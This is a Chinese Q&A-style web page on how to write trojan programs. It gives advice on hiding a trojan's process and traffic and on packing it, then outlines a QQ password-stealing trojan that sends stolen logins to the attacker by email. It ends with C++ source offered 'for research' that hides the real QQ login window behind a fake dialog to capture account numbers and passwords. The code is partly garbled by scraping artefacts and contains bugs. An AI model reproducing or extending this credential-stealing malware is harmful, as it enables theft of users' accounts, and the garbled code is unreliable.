怎么编写木马程序_怎样编写一个简单木马程序

hacker|
217

怎么编辑木马程序

你想干什么?如果你只想玩玩,建议你学一下vbs脚本或bat脚本,如果你想把脚本做成exe程序,最简单的 *** 就是把脚本压缩到自解压文件里,再用16进制编辑器修改一下某个数值,就成功了。

如果你想干坏事,嘻嘻,木马也不是那么好写的,首先你要成为一个出色的程序员,不仅要打好C语言基础,更要精通汇编语言和计算机硬件以及操作系统原理,逻辑思维要强,当然要学的还很多,如mfc,C#等等,所以,如果你不是非常痴迷于编程,我劝你玩玩就行了,当然,更不要走上违法犯罪的道路吆!

good luck。

呀,还有,请采纳我吧,宝贝儿,嘻!

怎么做木马

木马(计算机恶意程序)一般指木马病毒

木马病毒是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序。木马病毒其实是计算机黑客用于远程控制计算机的程序,将控制程序寄生于被控制的计算机系统中,里应外合,对被感染木马病毒的计算机实施操作。一般的木马病毒程序主要是寻找计算机后门,伺机窃取被控计算机中的密码和重要文件等。可以对被控计算机实施监控、资料修改等非法操作。木马病毒具有很强的隐蔽性,可以根据黑客意图突然发起攻击。

含义

计算机木马病毒是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序。

木马程序表面上是无害的,甚至对没有警戒的用户还颇有吸引力,它们经常隐藏在游戏或图形软件中,但它们却隐藏着恶意。这些表面上看似友善的程序运行后,就会进行一些非法的行动,如删除文件或对硬盘格式化。

完整的木马程序一般由两部分组成:一个是服务器端.一个是控制器端。“中了木马”就是指安装了木马的服务器端程序,若你的电脑被安装了服务器端程序,则拥有相应客户端的人就可以通过 *** 控制你的电脑。为所欲为。这时你电脑上的各种文件、程序,以及在你电脑上使用的账号、密码无安全可言了。

发展历程

木马程序技术发展可以说非常迅速。主要是有些年轻人出于好奇,或是急于显示自己实力,不断改进木马程序的编写。至今木马程序已经经历了六代的改进:

要写一个简单的木马需要掌握哪些知识?

1.良好的编程知识(C++,JAVA,delphi,VB也凑合,实在不行用易语言) 至少会一样吧

2.确定木马的功能.木马有很多种,示功能而定,比如盗号木马,远程控制木马(这类木马一般功能比较完美),网页木马(拿来黑网站用的),还有一些比如实现某一特殊功能的,.如DDOS攻击木马,控制类木马则还要编写主控端

3确定木马的连接方式,主动式和被动式(就是网上说的主动连接和反向连接)主动连接基本已经被淘汰了,

4,木马的隐藏,这是更大的问题也是最难的问题,如果你的木马不能隐藏那么也没就没有生存的余地.不仅仅是隐藏木马文件,进程,(这一般通过加载为系统服务或者通过DLL隐藏进程还有一些木马用驱动隐藏)还要隐藏木马的通信方式,不被防火墙阻止(如HTTP隧道)这里面的学问很多

5加壳,就是加密木马,还可以减少木马体积.

这里主要说下木马主体的编写方式

以最简单的盗 *** 木马(阿拉 *** 大盗)为例.

1.中马之后,先替换掉TXPlatform.exe( *** 密码保护文件)后台监视系统.如发现 *** .exe,则监视 *** 两个文本框的text值,并将输入的信息保存,生成邮件.后台发送到种马人.这个很简单,难的再于如何替换TXPlatform.exe并且不被 *** .exe发现.还有就是如何才能取得 *** 文本框中的两个值.

附送一份N年前的 *** 盗号木马源程...仅做研究,这个是N年前的,用的不是我上面提到的 *** ,用的是把 *** 的输入框替换为假的,然后密码自然而然的被木马给知道了.

BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)

{

HANDLE hSnapshot = C★reateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

PROCESSENTRY32 pe;

pe.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hSnapshot, pe)) {

return FALSE;

}

while (Process32Next(hSnapshot, pe)) {

if (pe.th32ProcessID == PID) {

strcpy(lpszProcessName, pe.szExeFile);

return true;

}

}

return FALSE;

}

//查找 *** 登录窗口

void *** Find()

{

HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;

HWND ButtonLogin = NULL, ButtonCancel = NULL;

c★har sTitle[255];

CString ss;

DWORD *** PID;

int LoginID;

BOOL find = FALSE;

do

{

//获得当前激活窗口的句柄

g_hWnd = GetForegroundWindow();

GetWindowThreadProcessId(g_hWnd, *** PID);

//根据PID获得进程名

processIdToName(sTitle, *** PID);

ss = sTitle;

ss.MakeLower();

//判断是否 ***

if(ss != "qq.exe")

{

Sleep(100);

continue;

}

//获得标题文字,判断是否登陆对话框

SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);

ss = sTitle;

int n = ss.Find(" *** ", 0);

int m = ss.Find("登录", 0);

if(n = 0 || m = 0)

{

//查找 *** 登陆按钮的句柄

ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");

LoginID = GetDlgCtrlID(ButtonLogin);

ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");

LoginID = GetDlgCtrlID(ButtonLogin);

//获得 *** 登陆按钮窗口位置

GetWindowRect(ButtonLogin, g_qqLogin);

//查找 *** 取消按钮的句柄

ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");

//获得 *** 取消按钮窗口位置

GetWindowRect(ButtonCancel, g_qqCancel);

//查找 *** 密码输入框的句柄

hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);

if(hWnd1 != NULL)

{

qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);

//获得 *** 密码输入框窗口位置

GetWindowRect(qqPass_hWnd, g_qqPassRt);

}

//查找 *** 号码输入框的句柄

hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);

if(hWnd1 != NULL)

{

qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);

//获得 *** 号码输入框窗口位置

GetWindowRect(qqID_hWnd, g_qqIDRt);

//获得当前默认 *** 号码

SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);

}

//等待 *** 窗口完全出现后抓取整个屏幕

Sleep(100);

g_DlgRt.left = 0;

g_DlgRt.top = 0;

g_DlgRt.right = m_xScreen;

g_DlgRt.bottom = m_yScreen;

g_pBitmap = CopyScreenToBitmap(g_DlgRt);

//设置 *** 窗口为不可见

ShowWindow(g_hWnd, SW_HIDE);

//弹出我们创建的伪造对话框

HINSTANCE hInstance = GetModuleHandle(NULL);

DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);

//设置 *** 窗口为可见

ShowWindow(g_hWnd, SW_SHOW);

//把 *** 号码和密码填到真正的 *** 登录窗口上,并模拟单击登陆按钮

SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);

SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);

SendMessage(ButtonLogin, BM_CLICK, 0, 0);

D★eleteObject(g_pBitmap);

//设置标志退出循环

find = true;

}

}

while(find == FALSE);

}

0条大神的评论

发表评论